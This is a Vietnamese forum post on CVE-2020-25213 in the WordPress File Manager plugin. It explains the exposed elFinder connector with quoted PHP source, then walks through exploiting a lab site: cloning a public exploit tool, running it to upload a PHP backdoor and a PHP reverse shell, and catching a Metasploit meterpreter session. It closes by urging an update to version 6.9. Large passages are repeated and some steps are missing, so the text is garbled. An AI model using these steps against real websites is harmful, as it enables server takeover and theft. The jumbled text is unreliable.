DDos
VIP Members
-
22/10/2013
-
524
-
2.191 bài viết
Khai thác lỗ hổng CVE-2020–25213 và cài đặt backdoor trên WordPress
Vào đầu tháng 9, các nhà nghiên cứu bảo mật tại Wordfence đã công bố chi tiết về một lỗ hổng ở mức độ nghiêm trọng cao trong plugin File Manager. Lỗ hổng này cho phép bất kỳ người dùng không cần xác thực có thể tải các tệp lên trang web mà không gặp bất kỳ một trở ngại nào.
Bằng việc sử dụng lỗ hổng này, kẻ tấn công có thể tải các tệp độc hai như webshell, backdoor lên trang web. Được đánh số CVE-2020–25213 ảnh hưởng tới phiên bản File Manager 6.0 - 6.8, với số điểm CVSS Score: 10.00 đủ cho thấy mức độ nguy hiểm của lỗ hổng. Điều đáng nói, File Manager Plugin rất phổ biến và đã được cài đặt hơn 700.000 lần. Theo quan sát của các nhà nghiên cứu bảo mật, tin tặc đã khai thác lỗ hổng này để chiếm quyền điều khiển trang web.
File Manager là một plugin được thiết kế để giúp quản trị viên WordPress quản lý tệp trên trang web của họ. Plugin chứa một thư viện bổ sung, elFinder, là trình quản lý tệp mã nguồn mở được thiết kế để tạo giao diện quản lý tệp đơn giản và cung cấp chức năng cốt lõi đằng sau trình quản lý tệp. File Manager đã sử dụng thư viện này theo cách không an toàn, do đó, tạo ra lỗ hổng bảo mật.
Cốt lõi của vấn đề bắt đầu từ việc File Manager plugin đổi tên tiện ích mở rộng trên tệp tin connector.minimal.php.dist của thư viện elFinder thành .php để nó có thể được thực thi trực tiếp, ngay cả khi tệp trình kết nối không được chính File Manager plugin sử dụng. Các thư viện như vậy thường không bổ sung quyền kiểm soát truy cập và không phân quyền truy cập tới tệp, nghĩa là bất kỳ ai cũng có thể truy cập tệp. Tệp này có thể được sử dụng để bắt đầu một lệnh elFinder và được nối với tệp elFinderConnector.class.php.
Bất kỳ tham số nào được gửi trong một yêu cầu tới connector.minimal.php sẽ được xử lý bởi hàm run() trong tệp elFinderConnector.class.php, bao gồm cả lệnh được cung cấp trong tham số cmd.
Danh sách các lệnh có sẵn trong elFinder như sau.
Do elFinder được tích hợp tính năng bảo vệ chống lại việc duyệt qua thư mục, vì vậy kẻ tấn công sẽ chỉ có khả năng thực hiện các lệnh liệt kê ở trên trong thư mục plugins /wp-file-manager/lib/files/.
2. Để kiểm tra một trang web có tồn tại lỗ hổng này hay không
Kết quả trả về cho thấy trang web tồn tại lỗ hổng.
3. Tải tệp php-backdoor lên trang web
Tệp tải lên sẽ ở đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/simple-backdoor.php
4. Backdoor đã được cài đặt trong website này, bạn có thể thực thi các lệnh tùy ý
5. Tạo một kết nối php-revershell tới trang web
Bạn cần tải fille /usr/share/webshells/php/php-reverse-shell.php với lệnh ./wp-file-manager-exploit.sh --wp_url http://192.168.79.132:8080 -f /usr/share/webshells/php/php-reverse-shell.php
Sau đó, khởi chạy Metasploit với tham số LHOST và LPORT và set PAYLOAD php/meterpreter/reverse_tcp. Truy cập vào đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/php-reverse-shell.php bạn sẽ nhận được một kết nối từ trang web tới máy tính của mình.
Với một session được tạo, bạn có thể thực thi các lệnh sau khai thác (post-exploitation)
Do mức độ khai thác rất dễ dàng, các quản trị viên website sử dụng plugin File Manager được khuyên cập nhật lên phiên bản 6.9 ngay lập tức.
Bằng việc sử dụng lỗ hổng này, kẻ tấn công có thể tải các tệp độc hai như webshell, backdoor lên trang web. Được đánh số CVE-2020–25213 ảnh hưởng tới phiên bản File Manager 6.0 - 6.8, với số điểm CVSS Score: 10.00 đủ cho thấy mức độ nguy hiểm của lỗ hổng. Điều đáng nói, File Manager Plugin rất phổ biến và đã được cài đặt hơn 700.000 lần. Theo quan sát của các nhà nghiên cứu bảo mật, tin tặc đã khai thác lỗ hổng này để chiếm quyền điều khiển trang web.
File Manager là một plugin được thiết kế để giúp quản trị viên WordPress quản lý tệp trên trang web của họ. Plugin chứa một thư viện bổ sung, elFinder, là trình quản lý tệp mã nguồn mở được thiết kế để tạo giao diện quản lý tệp đơn giản và cung cấp chức năng cốt lõi đằng sau trình quản lý tệp. File Manager đã sử dụng thư viện này theo cách không an toàn, do đó, tạo ra lỗ hổng bảo mật.
Cốt lõi của vấn đề bắt đầu từ việc File Manager plugin đổi tên tiện ích mở rộng trên tệp tin connector.minimal.php.dist của thư viện elFinder thành .php để nó có thể được thực thi trực tiếp, ngay cả khi tệp trình kết nối không được chính File Manager plugin sử dụng. Các thư viện như vậy thường không bổ sung quyền kiểm soát truy cập và không phân quyền truy cập tới tệp, nghĩa là bất kỳ ai cũng có thể truy cập tệp. Tệp này có thể được sử dụng để bắt đầu một lệnh elFinder và được nối với tệp elFinderConnector.class.php.
PHP:
// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
Bất kỳ tham số nào được gửi trong một yêu cầu tới connector.minimal.php sẽ được xử lý bởi hàm run() trong tệp elFinderConnector.class.php, bao gồm cả lệnh được cung cấp trong tham số cmd.
PHP:
public function run()
{
$isPost = $this->reqMethod === 'POST';
$src = $isPost ? array_merge($_GET, $_POST) : $_GET;
$maxInputVars = (!$src || isset($src['targets'])) ? ini_get('max_input_vars') : null;
if ((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')) {
// for max_input_vars and supports IE XDomainRequest()
$parts = explode('&', $rawPostData);
if (!$src || $maxInputVars < count($parts)) {
$src = array();
foreach ($parts as $part) {
list($key, $value) = array_pad(explode('=', $part), 2, '');
$key = rawurldecode($key);
if (preg_match('/^(.+?)\[([^\[\]]*)\]$/', $key, $m)) {
$key = $m[1];
$idx = $m[2];
if (!isset($src[$key])) {
$src[$key] = array();
}
if ($idx) {
$src[$key][$idx] = rawurldecode($value);
} else {
$src[$key][] = rawurldecode($value);
}
} else {
$src[$key] = rawurldecode($value);
}
}
$_POST = $this->input_filter($src);
$_REQUEST = $this->input_filter(array_merge_recursive($src, $_REQUEST));
}
}
if (isset($src['targets']) && $this->elFinder->maxTargets && count($src['targets']) > $this->elFinder->maxTargets) {
$this->output(array('error' => $this->elFinder->error(elFinder::ERROR_MAX_TARGTES)));
}
$cmd = isset($src['cmd']) ? $src['cmd'] : '';
$args = array();
Danh sách các lệnh có sẵn trong elFinder như sau.
PHP:
/**
* Commands and required arguments list
*
* @var array
**/
protected $commands = array(
'abort' => array('id' => true),
'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false),
'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false),
'chmod' => array('targets' => true, 'mode' => true),
'dim' => array('target' => true, 'substitute' => false),
'duplicate' => array('targets' => true, 'suffix' => false),
'editor' => array('name' => true, 'method' => true, 'args' => false),
'extract' => array('target' => true, 'mimes' => false, 'makedir' => false),
'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false),
'get' => array('target' => true, 'conv' => false),
'info' => array('targets' => true, 'compare' => false),
'ls' => array('target' => true, 'mimes' => false, 'intersect' => false),
'mkdir' => array('target' => true, 'name' => false, 'dirs' => false),
'mkfile' => array('target' => true, 'name' => true, 'mimes' => false),
'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false, 'options' => false),
'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false),
'parents' => array('target' => true, 'until' => false),
'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false),
'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false),
'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' => false),
'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'quality' => false, 'bg' => false),
'rm' => array('targets' => true),
'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false),
'size' => array('targets' => true),
'subdirs' => array('targets' => true),
'tmb' => array('targets' => true),
'tree' => array('target' => true),
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
'url' => array('target' => true, 'options' => false),
'zipdl' => array('targets' => true, 'download' => false)
);
Do elFinder được tích hợp tính năng bảo vệ chống lại việc duyệt qua thư mục, vì vậy kẻ tấn công sẽ chỉ có khả năng thực hiện các lệnh liệt kê ở trên trong thư mục plugins /wp-file-manager/lib/files/.
Cách khai thác lỗ hổng CVE-2020–25213
1. Tải công cụ WP-file-manager expoit
Mã:
git clone https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213.git
Kết quả trả về cho thấy trang web tồn tại lỗ hổng.
3. Tải tệp php-backdoor lên trang web
Tệp tải lên sẽ ở đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/simple-backdoor.php
4. Backdoor đã được cài đặt trong website này, bạn có thể thực thi các lệnh tùy ý
Bạn cần tải fille /usr/share/webshells/php/php-reverse-shell.php với lệnh ./wp-file-manager-exploit.sh --wp_url http://192.168.79.132:8080 -f /usr/share/webshells/php/php-reverse-shell.php
Sau đó, khởi chạy Metasploit với tham số LHOST và LPORT và set PAYLOAD php/meterpreter/reverse_tcp. Truy cập vào đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/php-reverse-shell.php bạn sẽ nhận được một kết nối từ trang web tới máy tính của mình.
Với một session được tạo, bạn có thể thực thi các lệnh sau khai thác (post-exploitation)
Do mức độ khai thác rất dễ dàng, các quản trị viên website sử dụng plugin File Manager được khuyên cập nhật lên phiên bản 6.9 ngay lập tức.
Tham khảo: Wordfence.com
Chỉnh sửa lần cuối bởi người điều hành: